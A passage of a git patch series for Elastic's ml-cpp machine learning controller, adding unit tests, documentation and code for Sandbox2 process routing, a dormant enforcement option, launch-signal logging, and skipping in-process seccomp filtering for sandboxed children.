sandboxedProcessPaths{"./pytorch_inference"}; ml::controller::CCommandProcessor processor{permittedProcessPaths, sandboxedProcessPaths, diff --git a/bin/controller/unittest/CCommandProcessorTest.cc b/bin/controller/unittest/CCommandProcessorTest.cc index 19acc64430..962d365311 100644 --- a/bin/controller/unittest/CCommandProcessorTest.cc +++ b/bin/controller/unittest/CCommandProcessorTest.cc @@ -10,7 +10,9 @@ */ #include +#include #include +#include #include "../CCommandProcessor.h" @@ -48,6 +50,23 @@ const std::string PROCESS_ARGS2[]{"-c", "rm " + INPUT_FILE2}; #endif const std::string SLOGAN1{"Elastic is great!"}; const std::string SLOGAN2{"You know, for search!"}; + +//! Sets ML_SANDBOX2_DEFAULT_ENFORCED for the duration of a scope and +//! restores the (unset) state afterwards. CCommandProcessor reads the +//! variable once in its constructor, so it must be set before the processor +//! under test is constructed. +class CScopedSandbox2DefaultEnforced { +public: + explicit CScopedSandbox2DefaultEnforced(const char* value) { + BOOST_REQUIRE_EQUAL( + 0, ml::core::CSetEnv::setEnv("ML_SANDBOX2_DEFAULT_ENFORCED", value, 1)); + } + ~CScopedSandbox2DefaultEnforced() { + ml::core::CUnSetEnv::unSetEnv("ML_SANDBOX2_DEFAULT_ENFORCED"); + } + CScopedSandbox2DefaultEnforced(const CScopedSandbox2DefaultEnforced&) = delete; + CScopedSandbox2DefaultEnforced& operator=(const CScopedSandbox2DefaultEnforced&) = delete; +}; } BOOST_AUTO_TEST_CASE(testStartPermitted) { @@ -391,19 +410,67 @@ BOOST_AUTO_TEST_CASE(testStartLeavesArgsUntouchedWhenTokenAbsent) { BOOST_TEST_REQUIRE(response.find("\"id\":14,\"success\":true") != std::string::npos); } +BOOST_AUTO_TEST_CASE(testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPath) { + // SHIPS DORMANT: with ML_SANDBOX2_DEFAULT_ENFORCED unset (the shipped + // default), a no-token start command for the configured sandboxed path + // must take the *legacy* route - i.e. behave exactly as it did before + // typed routing existed. Observed here as the copy succeeding: had the + // route been E_Sandbox2, this build (no Sandbox2 support / no real + // Sandbox2 policy for /bin/sh) would have failed closed instead. + // + // Deliberately not gated on !SANDBOX2_AVAILABLE: the dormant default is + // platform-independent, and on a Sandbox2 build this still proves the + // legacy dispatch (a Sandbox2 launch of /bin/sh with these args would + // not produce the file). + ml::core::CUnSetEnv::unSetEnv("ML_SANDBOX2_DEFAULT_ENFORCED"); + + const std::string OUT{"sandbox2_default_dormant_out.txt"}; + std::remove(OUT.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; + + std::string command{ + startCommand(16, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + OUT})}; + + BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); + } + + std::this_thread::sleep_for(std::chrono::seconds{1}); + + std::ifstream ifs{OUT}; + BOOST_TEST_REQUIRE(ifs.is_open()); + std::string content; + std::getline(ifs, content); + ifs.close(); + std::remove(OUT.c_str()); + BOOST_REQUIRE_EQUAL(SLOGAN1, content); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":16,\"success\":true") != std::string::npos); +} + #ifndef SANDBOX2_AVAILABLE -BOOST_AUTO_TEST_CASE(testStartSelectsSandbox2RouteWhenTokenAbsentOnSandboxedPath) { - // No token present on the configured sandboxed path must select the - // Sandbox2 route (V2, no automatic legacy fallback). On a build with no - // Sandbox2 support, CProcessSpawnerRouter fails closed for that route - - // observed here as the command failing rather than the copy succeeding, - // which is exactly how we know Sandbox2 (not legacy) was selected: had - // the route been E_Legacy, this copy would have succeeded. +BOOST_AUTO_TEST_CASE(testStartSelectsSandbox2RouteWhenTokenAbsentAndDefaultEnforced) { + // The opt-in half of the dormant default: with the internal option + // explicitly on, no token present on the configured sandboxed path + // selects the Sandbox2 route (V2, no automatic legacy fallback). On a + // build with no Sandbox2 support, CProcessSpawnerRouter fails closed for + // that route - observed here as the command failing rather than the copy + // succeeding, which is exactly how we know Sandbox2 (not legacy) was + // selected: had the route been E_Legacy, this copy would have succeeded + // (see testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPath, + // which is the same vector with the option off). const std::string OUT{"sandbox2_route_selected_out.txt"}; std::remove(OUT.c_str()); std::ostringstream responseStream; { + CScopedSandbox2DefaultEnforced enforced{"1"}; + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; @@ -420,6 +487,36 @@ BOOST_AUTO_TEST_CASE(testStartSelectsSandbox2RouteWhenTokenAbsentOnSandboxedPath BOOST_TEST_REQUIRE(response.find("\"id\":15,\"success\":false") != std::string::npos); BOOST_TEST_REQUIRE(response.find("Failed to start process") != std::string::npos); } + +BOOST_AUTO_TEST_CASE(testNonCanonicalTruthyValuesLeaveDefaultDormant) { + // Exactly "1" is the one canonical truthy spelling. Anything else must + // leave the option off, i.e. keep the legacy default - proven with the + // same fail-closed vector as above: with the option genuinely on the + // command fails, so a *succeeding* command is proof it stayed off. + for (const char* value : {"true", "TRUE", "yes", "0", ""}) { + const std::string OUT{"sandbox2_default_non_canonical_out.txt"}; + std::remove(OUT.c_str()); + + std::ostringstream responseStream; + { + CScopedSandbox2DefaultEnforced notEnforced{value}; + + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; + + std::string command{ + startCommand(17, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + OUT})}; + + BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); + } + + std::this_thread::sleep_for(std::chrono::seconds{1}); + BOOST_REQUIRE_EQUAL(false, fileAbsent(OUT)); + std::remove(OUT.c_str()); + } +} #endif // !SANDBOX2_AVAILABLE BOOST_AUTO_TEST_SUITE_END() diff --git a/bin/controller/unittest/CProcessSpawnerRouterTest.cc b/bin/controller/unittest/CProcessSpawnerRouterTest.cc index ef2a2d5728..2960f65b68 100644 --- a/bin/controller/unittest/CProcessSpawnerRouterTest.cc +++ b/bin/controller/unittest/CProcessSpawnerRouterTest.cc @@ -11,14 +11,18 @@ #include #include +#include +#include #include "../CProcessSpawnerRouter.h" +#include #include #include #include #include +#include #include #include #include @@ -103,6 +107,62 @@ std::string captureLogged(FN&& fn) { ml::core::CLogger::instance().reset(); return stream->str(); } + +#ifndef Windows +//! Creates a canonical, existing $TMPDIR/ml-child-ipc/ directory +//! and points TMPDIR at that trusted base for the duration of a scope, so +//! sandbox::validateChildIpcLaunchSpec() (which does live ::realpath() calls +//! and requires the parent directory to exist) can derive a real +//! deployment_id. Restores the previous TMPDIR and removes the tree on +//! destruction. +class CScopedChildIpcRoot { +public: + explicit CScopedChildIpcRoot(const std::string& childId) : m_ChildId{childId} { + const char* previous{std::getenv("TMPDIR")}; + m_HadPreviousTmpDir = previous != nullptr; + if (m_HadPreviousTmpDir) { + m_PreviousTmpDir.assign(previous); + } + + // boost::filesystem::canonical() so the base itself is already + // canonical - validateChildIpcLaunchSpec() compares the literal and + // canonical parents and rejects any difference, and on macOS the + // system temporary directories are reached through symlinks. + m_TrustedTmpDir = + (boost::filesystem::canonical(boost::filesystem::current_path()) / + ("router_h4_tmp_" + childId)) + .string(); + m_ChildIpcRoot = m_TrustedTmpDir + "/ml-child-ipc/" + childId; + boost::filesystem::create_directories(m_ChildIpcRoot); + + BOOST_REQUIRE_EQUAL(0, ml::core::CSetEnv::setEnv("TMPDIR", m_TrustedTmpDir.c_str(), 1)); + } + + ~CScopedChildIpcRoot() { + if (m_HadPreviousTmpDir) { + ml::core::CSetEnv::setEnv("TMPDIR", m_PreviousTmpDir.c_str(), 1); + } else { + ml::core::CUnSetEnv::unSetEnv("TMPDIR"); + } + boost::system::error_code ignored; + boost::filesystem::remove_all(m_TrustedTmpDir, ignored); + } + + //! An --input= argument inside this child's IPC root, i.e. one + //! validateChildIpcLaunchSpec() accepts and derives m_ChildId from. + std::string inputArg() const { return "--input=" + m_ChildIpcRoot + "/input"; } + + CScopedChildIpcRoot(const CScopedChildIpcRoot&) = delete; + CScopedChildIpcRoot& operator=(const CScopedChildIpcRoot&) = delete; + +private: + std::string m_ChildId; + std::string m_TrustedTmpDir; + std::string m_ChildIpcRoot; + std::string m_PreviousTmpDir; + bool m_HadPreviousTmpDir{false}; +}; +#endif // !Windows } BOOST_AUTO_TEST_CASE(testSandbox2RouteDispatchesLegacyForUnsandboxedPath) { @@ -191,11 +251,124 @@ BOOST_AUTO_TEST_CASE(testH4SignalFailClosedWithoutSandbox2Support) { BOOST_REQUIRE(logged.find("\"sandbox2_established\":false") != std::string::npos); BOOST_REQUIRE(logged.find("\"model_id\":\"deploy-fail-closed\"") != std::string::npos); // No path-bearing (input/output/restore/logPipe) option was present in - // args, so deployment_id must be the explicit empty string, not omitted. + // args *at all*, which is the only case that still yields an empty + // deployment_id - it must be the explicit empty string, not omitted. + // When such an option is present, deployment_id is populated in this + // same fail_closed mode: see + // testH4SignalDeploymentIdPopulatedOnFailClosed below. BOOST_REQUIRE(logged.find("\"deployment_id\":\"\"") != std::string::npos); } + +#ifndef Windows +BOOST_AUTO_TEST_CASE(testH4SignalDeploymentIdPopulatedOnFailClosed) { + // deployment_id is derived once, before dispatch, so it is populated on + // the fail_closed mode too - previously the derivation ran after + // spawn() had already failed, and reported "" on exactly the modes this + // signal exists to make debuggable. + const std::string childId{"deployfailclosed"}; + CScopedChildIpcRoot childIpcRoot{childId}; + + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{childIpcRoot.inputArg()}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, + PROCESS_PATH, args, childPid)); + })}; + + BOOST_REQUIRE(logged.find("\"mode\":\"fail_closed\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"deployment_id\":\"" + childId + "\"") != std::string::npos); +} +#endif // !Windows #endif // !SANDBOX2_AVAILABLE +#ifndef Windows +BOOST_AUTO_TEST_CASE(testH4SignalDeploymentIdPopulatedOnDegradedRoute) { + // Same single-derivation guarantee on the degraded (legacy-route) mode, + // which never reaches CSandboxedProcessSpawner's own validation call at + // all - and here the legacy spawn itself also fails (PROCESS_PATH is + // deliberately not permitted), so this covers the worst case for the + // old post-spawn derivation. + const std::string childId{"deploydegraded"}; + CScopedChildIpcRoot childIpcRoot{childId}; + + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths; // deliberately empty + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{childIpcRoot.inputArg()}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + PROCESS_PATH, args, childPid)); + })}; + + BOOST_REQUIRE(logged.find("\"mode\":\"degraded\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"deployment_id\":\"" + childId + "\"") != std::string::npos); +} +#endif // !Windows + +#ifndef Windows +BOOST_AUTO_TEST_CASE(testH4SignalEscapesControlCharactersInDeploymentId) { + // deployment_id is a filesystem path component, so a raw control + // character in it would otherwise split what must stay a single-line + // JSON object. + const std::string childId{"deploy\nid\tx"}; + CScopedChildIpcRoot childIpcRoot{childId}; + + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths; // deliberately empty + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{childIpcRoot.inputArg()}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + PROCESS_PATH, args, childPid)); + })}; + + BOOST_REQUIRE(logged.find("\"deployment_id\":\"deploy\\nid\\tx\"") != std::string::npos); + // ...and the raw control characters are gone from the emitted line. + const std::size_t signalStart{logged.find("{\"event\":\"sandbox2_launch\"")}; + BOOST_TEST_REQUIRE(signalStart != std::string::npos); + const std::size_t signalEnd{logged.find("\"mode\":\"degraded\"}", signalStart)}; + BOOST_TEST_REQUIRE(signalEnd != std::string::npos); + BOOST_REQUIRE(logged.find('\n', signalStart) > signalEnd); +} +#endif // !Windows + +BOOST_AUTO_TEST_CASE(testNoH4SignalForUnsandboxedProcessPath) { + // Negative assertion: a process path that is not configured as sandboxed + // (autodetect, categorize, and every other permitted process) must + // produce no sandbox2_launch line at all - not one with route "legacy", + // not one with an empty deployment_id, none. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths; // empty + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + const std::string outputFile{"router_test_no_h4_signal.txt"}; + std::remove(outputFile.c_str()); + ml::controller::CProcessSpawnerRouter::TStrVec args{ + SHELL_FLAG, copyArgsScript(outputFile), "--modelid=deploy-not-sandboxed"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + true, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, + PROCESS_PATH, args, childPid)); + })}; + std::this_thread::sleep_for(std::chrono::seconds{1}); + std::remove(outputFile.c_str()); + + BOOST_REQUIRE(logged.find("sandbox2_launch") == std::string::npos); + BOOST_REQUIRE(logged.find("deploy-not-sandboxed") == std::string::npos); +} + BOOST_AUTO_TEST_CASE(testH4SignalDegradedOnLegacyRouteSuccess) { // Token-present route: mode must be "degraded" and sandbox2_established // false regardless of the legacy spawn's own outcome. This case is the diff --git a/docs/sandbox2_production_failure_modes.md b/docs/sandbox2_production_failure_modes.md index 1128e2e468..140e1abf4a 100644 --- a/docs/sandbox2_production_failure_modes.md +++ b/docs/sandbox2_production_failure_modes.md @@ -29,9 +29,9 @@ single-line JSON object. | Field | Type | Meaning | |-------------------------|---------|---------| | `event` | string | Always `"sandbox2_launch"`. | -| `deployment_id` | string | `SChildIpcLaunchSpec::s_ChildId`, derived by re-running `sandbox::validateChildIpcLaunchSpec()` against the launch args. Empty string (`""`, explicit, never omitted) when no path-bearing launch option (`input`/`output`/`restore`/`logPipe`) was present. | -| `model_id` | string | Scanned from a `--modelid=` launch argument, using the same linear string-prefix scan style as the controller's `--disableSandbox` token scan. Empty string if absent. | -| `route` | string | `"sandbox2"` when `CProcessSpawnerRouter::ERoute::E_Sandbox2` was in effect, `"legacy"` when the operator kill-switch (`--disableSandbox`) routed to `E_Legacy`. | +| `deployment_id` | string | `SChildIpcLaunchSpec::s_ChildId`, from a single `sandbox::validateChildIpcLaunchSpec()` call made **once per `spawn()`, before dispatch**, so the value cannot disagree with the state the dispatch decision was taken against and is populated on the `degraded`/`fail_closed` modes too. Empty string (`""`, explicit, never omitted) only when no path-bearing launch option (`input`/`output`/`restore`/`logPipe`) was present at all. Control characters, quotes and backslashes are JSON-escaped so the line stays single-line JSON. | +| `model_id` | string | Scanned from a `--modelid=` launch argument, using the same linear string-prefix scan style as the controller's `--disableSandbox` token scan. Empty string if absent. Escaped as for `deployment_id`. | +| `route` | string | `"sandbox2"` when `CProcessSpawnerRouter::ERoute::E_Sandbox2` was in effect, `"legacy"` when the controller selected `E_Legacy` - either via the operator kill-switch (`--disableSandbox`) or via the dormant no-token default (see "Dormant no-token default" below). | | `sandbox2_established` | boolean | JSON boolean (`true`/`false`, never the string `"y"`/`"n"`). `true` iff `mode == "enforced"`, else `false`. | | `mode` | string | One of `"enforced"`, `"fail_closed"`, `"degraded"` - see mapping below. | @@ -43,8 +43,42 @@ single-line JSON object. (includes the build/deployment contradiction case where `processPath` is configured as sandboxed but this build has no Sandbox2 support). - `degraded` - `route == "legacy"` (operator kill-switch token present and - validated), regardless of whether the legacy spawn itself succeeded or - failed. + validated, or the dormant no-token default in effect), regardless of + whether the legacy spawn itself succeeded or failed. + +### Dormant no-token default + +A `start` command with **no** `--disableSandbox` token for a configured +sandboxed process path selects the **legacy** route unless the internal +controller option `ML_SANDBOX2_DEFAULT_ENFORCED` is set to exactly `1`. +Anything else (unset, `""`, `0`, `true`) leaves it off. Off is the shipped +default, so this rollout starts dormant: a plain `pytorch_inference` launch +behaves exactly as it did before typed routing existed, on every platform, +including builds without Sandbox2 support. With the option on, the same +command requires Sandbox2 and never falls back (V2). + +`ML_SANDBOX2_DEFAULT_ENFORCED` is an internal seam, not an operator setting; +the change that turns it on is the Elasticsearch-side default-false feature +flag, not ml-cpp. + +Provenance lines (`LOG_INFO`/`LOG_DEBUG`, `bin/controller/CCommandProcessor.cc`) +name which of the two decided a legacy route - the router itself only ever +sees an already-decided route and never claims a kill switch that was not +present. + +### In-process seccomp is legacy-route only + +`pytorch_inference` installs its own in-process seccomp filter - and emits +`{"ml_sandbox2_route":"legacy","event":"seccomp_installed"}` - only when +`ML_SANDBOXED` is **not** exactly `1`. On a Sandbox2-launched child +(`ML_SANDBOXED=1`, set by `CSandboxedProcessSpawner`), the installation, the +hard-termination decision and the attestation marker are all skipped +entirely: the executor's own policy is the security boundary, an install +attempt from inside the sandbox could fail and terminate an otherwise-healthy +enforced launch, and emitting the marker would attest a legacy-route filter +on a launch `sandbox2_launch` reports as `"route":"sandbox2"`. So a +`"route":"sandbox2"` launch never carries a `seccomp_installed` marker, and +that absence is expected, not a missing signal. Example: @@ -80,7 +114,10 @@ unsandboxed positive control (`--disableSandbox`), a reached marker (a `request_id`-correlated output-pipe response or a confirmed post-load process death), a negative assertion (protected file absent under Sandbox2), a mechanism assertion (controller `start`/`kill` JSON responses -and `/proc` PID liveness), and a per-case cleanup assertion (`kill ` +and `/proc` PID liveness for the PID parsed out of the controller's own +`Spawned ... with PID ` log line - the sandboxee is a child of the +Sandbox2 forkserver, not of the controller, so `/proc` `PPid` filtering +cannot find it), and a per-case cleanup assertion (`kill ` against the controller reports failure once the case ends, proving the child was reaped). From 92b9a363cdec619cd16892eb9fb6e4dc3ddda09e Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Wed, 9 Sep 2026 23:22:24 +0200 Subject: [PATCH 11/36] [ML] PR E review: skip in-process seccomp when ML_SANDBOXED=1 Final whole-branch review fix 3. Nothing in the tree read the ML_SANDBOXED value CSandboxedProcessSpawner sets on a Sandbox2-launched child, so a sandboxee still attempted its own in-process seccomp install from inside an already-sandboxed environment - which, with MG8's hard termination now active, could kill every enforced-route launch, or succeed and emit the legacy-route attestation marker on a launch the H4 signal reports as route sandbox2. pytorch_inference now runs the install / degraded-mode decision / attestation-marker sequence only when ML_SANDBOXED is not exactly "1" (design.md routing contract point 5), via a pure applyInProcessSeccompFilter() helper so the skip is unit-testable off Linux: the installer is never invoked, no action is derived and no marker is produced, for every outcome an attempt could have returned. --- bin/pytorch_inference/Main.cc | 35 +++++--- include/seccomp/CSystemCallFilter.h | 81 +++++++++++++++++- .../unittest/CSeccompFilterBuilderTest.cc | 84 +++++++++++++++++++ 3 files changed, 187 insertions(+), 13 deletions(-) diff --git a/bin/pytorch_inference/Main.cc b/bin/pytorch_inference/Main.cc index a1b81171b6..0648786e97 100644 --- a/bin/pytorch_inference/Main.cc +++ b/bin/pytorch_inference/Main.cc @@ -304,23 +304,36 @@ int main(int argc, char** argv) { // an operator choice, never an unintended execution path. constexpr bool TERMINATE_ON_DEGRADED_SECCOMP_FAILURE{true}; - const ml::seccomp::ESystemCallFilterInstallOutcome seccompOutcome{ - ml::seccomp::CSystemCallFilter::installSystemCallFilter()}; - - if (ml::seccomp::decideDegradedModeAction(seccompOutcome, TERMINATE_ON_DEGRADED_SECCOMP_FAILURE) == - ml::seccomp::EDegradedModeAction::E_TerminateBeforeIo) { - LOG_FATAL(<< "Seccomp installation " << ml::seccomp::describe(seccompOutcome) + // The in-process filter belongs to the legacy/non-sandboxed route only. + // On the Sandbox2 route the executor's own policy is already the + // security boundary and ML_SANDBOXED is exactly "1" (design.md §Routing + // and degraded-mode contract point 5), so the whole step - install, + // degraded-mode decision, attestation marker - is skipped. Attempting + // it from inside an already-sandboxed environment would either fail + // (terminating every enforced-route launch, now that hard termination + // above is active) or succeed and emit the legacy-route attestation + // marker on a launch the controller's H4 signal reports as + // "route":"sandbox2". + const bool sandbox2Launched{ml::seccomp::sandbox2LaunchedChild()}; + const ml::seccomp::SInProcessFilterResult seccompResult{ml::seccomp::applyInProcessSeccompFilter( + sandbox2Launched, TERMINATE_ON_DEGRADED_SECCOMP_FAILURE, + [] { return ml::seccomp::CSystemCallFilter::installSystemCallFilter(); })}; + + if (seccompResult.s_Attempted == false) { + LOG_DEBUG(<< "ML_SANDBOXED=1: skipping in-process system call filter " + "installation; the Sandbox2 executor policy applies"); + } else if (seccompResult.s_Action == ml::seccomp::EDegradedModeAction::E_TerminateBeforeIo) { + LOG_FATAL(<< "Seccomp installation " << ml::seccomp::describe(seccompResult.s_Outcome) << "; terminating before untrusted model processing"); return EXIT_FAILURE; } // Explicit structured attestation the controller/Elasticsearch can // assert on directly, rather than inferring readiness from the absence - // of a fatal log line above. - const std::string degradedModeMarker{ - ml::seccomp::degradedModeAttestationMarker(seccompOutcome)}; - if (degradedModeMarker.empty() == false) { - LOG_INFO(<< degradedModeMarker); + // of a fatal log line above. Empty (never emitted) on the Sandbox2 + // route, which installs no in-process filter to attest. + if (seccompResult.s_AttestationMarker.empty() == false) { + LOG_INFO(<< seccompResult.s_AttestationMarker); } if (ioMgr.initIo() == false) { diff --git a/include/seccomp/CSystemCallFilter.h b/include/seccomp/CSystemCallFilter.h index 7d98e7ecca..3fea251a86 100644 --- a/include/seccomp/CSystemCallFilter.h +++ b/include/seccomp/CSystemCallFilter.h @@ -13,6 +13,7 @@ #include +#include #include namespace ml { @@ -88,8 +89,14 @@ enum class EDegradedModeAction { //! ml-cpp/Elasticsearch controller protocol can guarantee a degraded-mode //! launch was a deliberate operator choice would fail every launch on a //! host lacking seccomp BPF, with no operator fallback setting to select -//! instead. Callers pass false today; a later change wires the real route -//! decision through this parameter once that guarantee exists. +//! instead. It is only safe to pass true where a degraded-mode launch is +//! guaranteed to be a deliberate route decision rather than an accidental +//! fallback from a failed Sandbox2 attempt; bin/controller's +//! CProcessSpawnerRouter provides that guarantee (it never retries a failed +//! Sandbox2 spawn through the legacy spawner), which is why +//! bin/pytorch_inference/Main.cc passes true. This decision only ever +//! applies to a launch that installs its own in-process filter at all - see +//! sandbox2LaunchedChild() and applyInProcessSeccompFilter() below. inline EDegradedModeAction decideDegradedModeAction(ESystemCallFilterInstallOutcome outcome, bool terminateOnFailure) { if (outcome == ESystemCallFilterInstallOutcome::E_Installed || !terminateOnFailure) { @@ -116,6 +123,76 @@ inline std::string degradedModeAttestationMarker(ESystemCallFilterInstallOutcome return R"({"ml_sandbox2_route":"legacy","event":"seccomp_installed"})"; } +//! Pure form of the "was this process launched by the Sandbox2 executor?" +//! test, taking the raw ML_SANDBOXED environment value (nullptr when unset) +//! so it is testable on every platform without mutating the environment. +//! +//! design.md §Routing and degraded-mode contract point 5: pytorch_inference +//! skips in-process seccomp only when ML_SANDBOXED is *exactly* "1", the +//! value CSandboxedProcessSpawner_Linux.cc sets on a Sandbox2-launched +//! child (and which CDetachedProcessSpawner strips from every legacy-route +//! child's environment). Any other value - unset, "", "0", "true", "10" - +//! is a legacy/non-sandboxed launch that must install its own filter. +inline bool sandbox2LaunchedChild(const char* mlSandboxedEnv) { + return mlSandboxedEnv != nullptr && std::string{mlSandboxedEnv} == "1"; +} + +//! \return true if this process is a Sandbox2-launched sandboxee, per +//! sandbox2LaunchedChild(const char*) applied to the live environment. +inline bool sandbox2LaunchedChild() { + return sandbox2LaunchedChild(std::getenv("ML_SANDBOXED")); +} + +//! Everything one launch's in-process seccomp startup step decided, so a +//! caller has no way to attest or terminate on a step that never ran. +struct SInProcessFilterResult { + //! False iff the filter installation was skipped because this process + //! is a Sandbox2 sandboxee (the executor's own policy is already the + //! security boundary). When false, every other field is the inert + //! "nothing happened" value. + bool s_Attempted{false}; + //! What the caller must do before untrusted IO/model processing. + EDegradedModeAction s_Action{EDegradedModeAction::E_ContinueDespiteFailure}; + //! Outcome of the installation attempt; meaningless when + //! s_Attempted == false. + ESystemCallFilterInstallOutcome s_Outcome{ESystemCallFilterInstallOutcome::E_Installed}; + //! degradedModeAttestationMarker() for s_Outcome, or empty when nothing + //! is attested. Always empty when s_Attempted == false: that marker + //! describes the *legacy* route's own filter installation, so emitting + //! it on a Sandbox2-route launch would both attest a filter that was + //! never installed and contradict the H4 signal's "route":"sandbox2" + //! for the same launch. + std::string s_AttestationMarker; +}; + +//! Pure driver for the in-process seccomp startup step of a single launch. +//! +//! \param sandbox2Launched typically sandbox2LaunchedChild(); when true the +//! filter installation is skipped *entirely* - \p installer is never +//! invoked, no degraded-mode action is derived and no attestation +//! marker is produced, regardless of what an installation attempt +//! would have returned. Installing an in-process filter from inside +//! an already-sandboxed environment can fail (which would kill every +//! enforced-route launch now that hard termination is active) or +//! succeed and mislabel the launch as legacy. +//! \param terminateOnFailure passed through to decideDegradedModeAction(). +//! \param installer invoked at most once; normally +//! CSystemCallFilter::installSystemCallFilter. +template +SInProcessFilterResult applyInProcessSeccompFilter(bool sandbox2Launched, + bool terminateOnFailure, + INSTALLER installer) { + SInProcessFilterResult result; + if (sandbox2Launched) { + return result; + } + result.s_Attempted = true; + result.s_Outcome = installer(); + result.s_Action = decideDegradedModeAction(result.s_Outcome, terminateOnFailure); + result.s_AttestationMarker = degradedModeAttestationMarker(result.s_Outcome); + return result; +} + class CSystemCallFilter : private core::CNonInstantiatable { public: //! Installs the platform syscall filter. Returns the typed outcome so a diff --git a/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc b/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc index 6be2e8e27d..94d9272114 100644 --- a/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc +++ b/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc @@ -259,4 +259,88 @@ BOOST_AUTO_TEST_CASE(testDecideDegradedModeActionFaultInjection) { } } +BOOST_AUTO_TEST_CASE(testSandbox2LaunchedChildRecognisesOnlyExactlyOne) { + using ml::seccomp::sandbox2LaunchedChild; + + // Exactly "1" - the value CSandboxedProcessSpawner_Linux.cc sets on a + // sandboxee - and nothing else. + BOOST_REQUIRE_EQUAL(true, sandbox2LaunchedChild("1")); + + BOOST_REQUIRE_EQUAL(false, sandbox2LaunchedChild(nullptr)); + BOOST_REQUIRE_EQUAL(false, sandbox2LaunchedChild("")); + BOOST_REQUIRE_EQUAL(false, sandbox2LaunchedChild("0")); + BOOST_REQUIRE_EQUAL(false, sandbox2LaunchedChild("true")); + BOOST_REQUIRE_EQUAL(false, sandbox2LaunchedChild("10")); + BOOST_REQUIRE_EQUAL(false, sandbox2LaunchedChild(" 1")); +} + +BOOST_AUTO_TEST_CASE(testInProcessFilterSkippedEntirelyForSandbox2LaunchedChild) { + using ml::seccomp::applyInProcessSeccompFilter; + using ml::seccomp::EDegradedModeAction; + using ml::seccomp::ESystemCallFilterInstallOutcome; + + // ML_SANDBOXED=1: the installer must never be invoked, no degraded-mode + // termination may be derived and no attestation marker may be produced - + // and that must hold for every outcome an installation attempt could + // have returned, including the failure classes that would otherwise + // terminate the launch now that hard termination is active. + const ESystemCallFilterInstallOutcome allOutcomes[]{ + ESystemCallFilterInstallOutcome::E_Installed, + ESystemCallFilterInstallOutcome::E_MechanismUnavailable, + ESystemCallFilterInstallOutcome::E_PrivilegeRestrictionFailed, + ESystemCallFilterInstallOutcome::E_FilterInstallFailed}; + + for (const auto wouldHaveReturned : allOutcomes) { + bool installerCalled{false}; + const auto result = applyInProcessSeccompFilter( + true, true, [&installerCalled, wouldHaveReturned] { + installerCalled = true; + return wouldHaveReturned; + }); + + BOOST_REQUIRE_EQUAL(false, installerCalled); + BOOST_REQUIRE_EQUAL(false, result.s_Attempted); + BOOST_REQUIRE_EQUAL(static_cast(EDegradedModeAction::E_ContinueDespiteFailure), + static_cast(result.s_Action)); + BOOST_TEST_REQUIRE(result.s_AttestationMarker.empty()); + } +} + +BOOST_AUTO_TEST_CASE(testInProcessFilterUnchangedOnLegacyRoute) { + using ml::seccomp::applyInProcessSeccompFilter; + using ml::seccomp::EDegradedModeAction; + using ml::seccomp::ESystemCallFilterInstallOutcome; + + // ML_SANDBOXED unset/not "1": behaviour is exactly the pre-existing + // install + decide + attest sequence, i.e. the Task 3 fault-injection + // coverage above still describes this path. + bool installerCalled{false}; + const auto installed = applyInProcessSeccompFilter(false, true, [&installerCalled] { + installerCalled = true; + return ESystemCallFilterInstallOutcome::E_Installed; + }); + BOOST_REQUIRE_EQUAL(true, installerCalled); + 